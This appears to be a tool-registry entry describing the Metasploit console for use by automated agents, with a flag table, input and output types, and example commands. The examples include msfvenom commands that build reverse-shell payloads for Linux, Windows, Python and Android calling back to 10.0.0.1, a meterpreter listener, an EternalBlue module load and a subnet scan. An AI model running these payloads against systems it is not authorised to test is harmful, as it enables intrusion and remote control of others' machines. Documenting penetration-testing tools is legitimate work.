Full-featured exploitation framework with thousands of modules for exploit development, payload generation, and post-exploitation.
msfconsole -q -x "{command}" ๐ command โ use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; exploit msfconsole -q -x "{command}" Sandbox: execFile · Timeout: 600s
exploit.development payload.generation post.exploitation agent.communication vulnerability.scanning | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
flag-m | string | No | - | Module path to load | -m, --module-path |
flag-q | boolean | No | - | Quiet mode (suppress banner) | -q, --quiet |
flag-r | string | No | - | Resource file to execute | -r, --resource |
flag-x | string | No | - | Command to run | -x, --command |
flag-o | string | No | - | Output file | -o, --output |
flag-L | string | No | - | Log file | -L, --log |
flag-v | boolean | No | - | Verbose output | -v, --verbose |
flag-d | string | No | - | Database backend to use | -d, --database |
flag-c | string | No | - | Config file | -c, --config |
flag-a | boolean | No | - | Analyze module | -a, --analyze |
flag-e | string | No | - | Environment | -e, --environment |
flag-h | boolean | No | - | Show help | -h, --help |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
exploit.session | Active meterpreter or shell session | application/octet-stream | - | verified |
exploit.payload | Generated payload binary | application/octet-stream | - | verified |
exploit.loot | Collected loot data | application/octet-stream | - | verified |
Inputs
network.target.ip Target IP address
network.port.number Target port number
exploit.module.name Metasploit module to use
payload.type Payload type (reverse shell, bind shell, etc.)
Outputs
session.shell Interactive shell session
payload.binary Generated payload
network_trafficprocess_spawnfilesystem_write Produces
session.shellpayload.binaryConsumes
network.target.ipnetwork.port.numberexploit.module.namepayload.type| Resource | Value |
|---|---|
| CPU | high |
| Memory | 256 MB |
| Network | high |
| Disk I/O | low |
Start console with resource script
msfconsole -q -r /path/to/resource.rc Run single command from CLI
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit" Quiet mode with database
msfconsole -q -d msf Generate payload with msfvenom
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o payload.elf List all exploits
msfconsole -q -x "show exploits" Load a specific module
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue" Verbose debug mode
msfconsole -q -v -x "db_nmap -sV 10.0.0.0/24" Metasploit is the most widely used exploitation framework, providing a comprehensive suite for exploit development, payload generation, and post-exploitation. It includes thousands of modules spanning all phases of penetration testing.
| Command | Description |
|---|---|
use <module> |
Load a specific module |
set <option> <value> |
Set a module option |
run / exploit |
Execute the loaded module |
show options |
Display module configuration |
sessions -l |
List active sessions |
sessions -i <id> |
Interact with a session |
search <term> |
Search across all modules |
db_nmap <args> |
Run nmap through metasploit DB |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f py -o shell.py
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 R > payload.apk